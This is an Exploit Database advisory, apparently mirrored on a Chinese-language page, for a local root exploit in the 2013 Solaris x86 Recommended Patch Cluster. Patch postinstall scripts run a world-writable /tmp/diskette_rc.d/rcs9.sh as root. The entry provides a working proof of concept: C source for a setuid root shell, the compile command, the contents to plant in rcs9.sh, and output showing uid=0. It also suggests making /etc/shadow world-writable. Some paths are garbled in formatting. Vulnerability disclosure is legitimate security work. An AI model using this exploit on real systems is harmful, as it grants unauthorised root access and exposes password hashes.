Solaris Recommended Patch Cluster 6/19 (x86) – Local Privilege Escalation

• Exploit Database
• 129 阅读

• 作者： Larry W. Cashdollar
  日期： 2013-07-09
• 类别：

  • local
  平台：

  • linux_x86
• 来源：https://www.exploit-db.com/exploits/26709/
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  Solaris Recommended Patch Cluster 6/19 local root on x86   Larry W. Cashdollar 7/3/2013 @_larry0   If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based.   Local root:   Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root.   ./144751-01/SUNWos86r/install/postinstall     782 if [ -s /tmp/disketterc.d/rcs9.sh ] 783 then 784 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 785 fi   Inject entries into driver_aliases, research config file? maybe we can load our own library/driver?   804 # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs) 805 TMPFILE=/tmp/ncrstmp 806 sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL E 807 cp $TMPFILE ${BASEDIR}/etc/driver_aliases     ./141445-09/SUNWos86r/install/postinstall     656 if [ -s /tmp/disketterc.d/rcs9.sh ] 657 then 658 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 659 fi     Well, it looks like you've got a few chances to abuse it:     larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \; ./144501-19/SUNWos86r/install/postinstall ./141445-09/SUNWos86r/install/postinstall ./142059-01/SUNWos86r/install/postinstall ./147148-26/SUNWos86r/install/postinstall ./127128-11/SUNWos86r/install/postinstall ./148889-03/SUNWos86r/install/postinstall ./142910-17/SUNWos86r/install/postinstall ./144751-01/SUNWos86r/install/postinstall   Psuedo PoC:   Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry.   chmod 666 /etc/shadow would be easy.   PoC:   larry@slowaris:~$ cat setuid.c #include #include int main (void) { char *shell[2]; shell[0] = "sh"; shell[1] = NULL; setregid (0, 0); setreuid (0, 0); execve ("/bin/sh", shell, NULL); return(0); }   gcc -o /tmp/r00t setuid.c   larry@slowaris:~$ cat /tmp/diskette_rc.d/rcs9.sh chown root:root /tmp/r00t chmod +s /tmp/r00t   After patches have been applied:   larry@slowaris:~$ /tmp/r00t # id   uid=0(root) gid=0(root)